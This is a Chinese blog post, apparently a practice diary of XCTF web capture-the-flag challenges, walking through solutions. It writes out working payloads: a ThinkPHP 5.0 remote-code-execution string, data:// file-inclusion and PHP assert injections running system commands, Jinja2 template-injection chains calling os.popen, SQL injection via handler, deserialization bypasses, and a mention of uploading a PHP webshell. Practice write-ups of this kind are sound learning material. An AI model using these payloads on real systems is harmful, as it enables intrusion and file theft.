攻防世界刷题日记(2)

php_rce

打开链接是一个thinkphpV5页面
10.png

然后搜索thinkphp5.0的payload就读到了

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat ../../../flag

Web_php_include

打开是源码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

这是一个文件包含漏洞,但是过滤了php://

可以利用其他协议绕过,比如data协议

?page=data://text/plain,<?php system("ls")?>

11.png

然后

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

然后查看源码

12.png

ics-06

打开是如下页面

13.png

然后发现只有报表中心有东西

14.png

开始以为是注入,结果不是,然后,考虑fuzzing以下id,发现2333的长度不同于其他数字,打开页面

15.png

warmup

打开只有个滑稽,尝试查看源码

16.png

尝试看source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];    //有个hint
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;    要求有hint或source
            }

            $_page = urldecode($page);//两次url编码可绕过
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')要有?
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])//接收file
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

通过查看hint.php得到flag文件的名字为ffffllllaaaagggg

然后构造payload

?file=hint.php%253f/../../../../ffffllllaaaagggg

得到flag

17.png

NewsCenter

常规的注入,没啥说的

NaNNaNNaNNaN-Batman

给了个附件,用NOTEPAD++打开

18.png

有些乱码,但是通过其标签可以判断是个html文件

打开看看
19.png

然后看源码也是有点乱,然后既然是script标签,就把eval改成alert看看其完整源码

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
    if(e.match(/^be0f23/)!=null)
        if(e.match(/233ac/)!=null)
            if(e.match(/e98aa$/)!=null)
                if(e.match(/c7be9/)!=null){
                    var t=["fl","s_a","i","e}"];
                    var n=["a","_h0l","n"];
                    var r=["g{","e","_0"];
                    var i=["it'","_","n"];
                    var s=[t,n,r,i];
                    for(var o=0;o<13;++o){
                        document.write(s[o%4][0]);s[o%4].splice(0,1)
                        }
                    }
                }
                document.write('<input id="c"><button οnclick=$()>Ok</button>');
                delete_

看到是一个正则匹配,满足长度为16,开头为be0f23结尾为e98aa,要求也要有233ac和c7be9所以构造其为be0f233ac7be98aa

再回去输入

得到flag

PHP2

打开页面如下

20.png

最后在index.phps中发现了源码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);//两次url编码即可绕过
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

构造payload

http://159.138.137.79:59906/?id=%2561dmin

拿到flag

unserialize3

打开审计php代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

根据源码写一个序列化脚本

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$c = new xctf();
print(serialize($c));
?>

得到

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

而改变大括号前的1即可绕过__wakeup()函数

payload

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

简单的MIME绕过,先把php一句话文件改为jpg,然后抓包改回来即可

Web_python_template_injection

提示是python模板注入

经检测也确实是

21.png

然后输入payload看下文件目录

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}

22.png

然后读取

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}

23.png

Web_php_unserialize

又是代码审计

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

http://www.luyixian.cn/news_show_319331.aspx

supersqli

24.png

发现注入,然后是只有两个字段,还过滤了好多关键字

25.png

借鉴大佬的方法
使用handler查询,payload如下:

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

easytornado

提示是Tornado 框架

打开

26.png

分别点进去看看

27.png

28.png

29.png

也就是说我们需要cookie_secret和filename的md5值相加再进行md5加密即可拿到flag

而 Tornado基于python的web框架

所以又是模板注入

而当尝试直接输入fllllllg时候报错,这里可以进行注入

30.png

cookie_secret在handler.settings中,因此构造payload

?msg={{handler.settings}}

得到

31.png

然后写脚本加密

import hashlib

def md5(s):

 md5 = hashlib.md5() 

 md5.update(s.encode("utf8")) 

 return md5.hexdigest()


def filehash():

 filename = '/fllllllllllllag'

 cookie_secret = 'eedf7a67-f9e9-42c0-b093-44df4a28049a'

 print(md5(cookie_secret+md5(filename)))


if __name__ == '__main__':

 filehash()

然后payload就是

file?filename=/fllllllllllllag&filehash=bef32f6e07c43dbfe918229b7af3c50f

shrine

打开是代码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) //过滤黑名单
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

在shrine路径存在ssti

利用url_for和get_flashed_messages函数绕过

payload

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

mfw

打开是如下页面

32.png

在about页面发现

33.png

应该存在.git泄露

34.png

查看index.php

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//满足false

如果这个字符串中没有找到相应的子字符串 就返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

payload
?page=abc’) or system(“cat templates/flag.php”);//

web2

打开是php代码

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){    
    $_o=strrev($str);  //反转字符串
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){  //循环字符串长度

        $_c=substr($_o,$_0,1);  //从$_0位置开始,返回1个字符

        $__=ord($_c)+1;  //返回字符串首个字母的ASCII值

        $_c=chr($__);  //返回指定进制的ASCII值

        $_=$_.$_c;   //拼接两个变量的内容 赋值
    } 
    return str_rot13(strrev(base64_encode($_)));  //返回  ROT13 编码/解码(反转字符串(base64加密($_)))  的结果
}

highlight_file(__FILE__);  //返回高亮代码
/*
   逆向加密算法,解密$miwen就是flag
*/
?>  

然后嫖大佬的脚本

<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));

$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){  

        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 


echo strrev($_o);

?>

运行即可得到falg

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信